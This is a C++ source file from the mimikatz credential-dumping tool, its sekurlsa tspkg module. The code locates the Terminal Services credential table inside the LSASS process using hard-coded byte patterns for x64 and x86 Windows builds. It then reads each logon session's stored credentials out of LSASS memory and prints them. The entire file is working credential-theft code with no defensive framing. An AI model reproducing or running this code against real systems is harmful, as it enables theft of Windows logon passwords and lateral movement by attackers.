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/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "tspkg.h"
#include "..\..\global.h"
mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_tspkg::pModTSPKG = NULL;
PRTL_AVL_TABLE mod_mimikatz_sekurlsa_tspkg::TSGlobalCredTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL);
bool mod_mimikatz_sekurlsa_tspkg::getTsPkg(vector<wstring> * arguments)
{
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getTsPkgLogonData, wstring(L"tspkg")));
return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
}
bool mod_mimikatz_sekurlsa_tspkg::searchTSPKGFuncs()
{
#ifdef _M_X64
BYTE PTRN_WALL_TSGlobalCredTable[] = {0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d};
LONG OFFS_WALL_TSGlobalCredTable = sizeof(PTRN_WALL_TSGlobalCredTable);
#elif defined _M_IX86
BYTE PTRN_WNO8_TSGlobalCredTable[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x51, 0x56, 0xbe};
LONG OFFS_WNO8_TSGlobalCredTable = sizeof(PTRN_WNO8_TSGlobalCredTable);
BYTE PTRN_WIN8_TSGlobalCredTable[] = {0x8b, 0xff, 0x53, 0xbb};
LONG OFFS_WIN8_TSGlobalCredTable = sizeof(PTRN_WIN8_TSGlobalCredTable);
#endif
if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModTSPKG && !TSGlobalCredTable)
{
PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
pointeur= reinterpret_cast<PBYTE *>(&TSGlobalCredTable);
#ifdef _M_X64
pattern = PTRN_WALL_TSGlobalCredTable;
taille = sizeof(PTRN_WALL_TSGlobalCredTable);
offset = OFFS_WALL_TSGlobalCredTable;
#elif defined _M_IX86
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
{
pattern = PTRN_WNO8_TSGlobalCredTable;
taille = sizeof(PTRN_WNO8_TSGlobalCredTable);
offset = OFFS_WNO8_TSGlobalCredTable;
}
else
{
pattern = PTRN_WIN8_TSGlobalCredTable;
taille = sizeof(PTRN_WIN8_TSGlobalCredTable);
offset = OFFS_WIN8_TSGlobalCredTable;
}
#endif
if(HMODULE monModule = LoadLibrary(L"tspkg"))
{
MODULEINFO mesInfos;
if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
{
mod_memory::genericPatternSearch(pointeur, L"tspkg", pattern, taille, offset);
*pointeur += pModTSPKG->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
}
FreeLibrary(monModule);
}
}
return (pModTSPKG && TSGlobalCredTable);
}
bool WINAPI mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData(__in PLUID logId, __in bool justSecurity)
{
if(searchTSPKGFuncs())
{
PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
BYTE * monBuffP = new BYTE[sizeof(KIWI_TS_CREDENTIAL)], * monBuffC = new BYTE[sizeof(KIWI_TS_PRIMARY_CREDENTIAL)];
if(PKIWI_TS_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(TSGlobalCredTable, FIELD_OFFSET(KIWI_TS_CREDENTIAL, LocallyUniqueIdentifier), logId)))
{
if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_TS_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
{
pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(monBuffP);
if(pLogSession->pTsPrimary)
{
if(mod_memory::readMemory(pLogSession->pTsPrimary, monBuffC, sizeof(KIWI_TS_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
mesCreds = &(reinterpret_cast<PKIWI_TS_PRIMARY_CREDENTIAL>(monBuffC)->credentials);
}
else (*outputStream) << L"n.s. (SuppCred KO) / ";
}
}
mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true);
delete [] monBuffC, monBuffP;
}
else (*outputStream) << L"n.a. (tspkg KO)";
return true;
}
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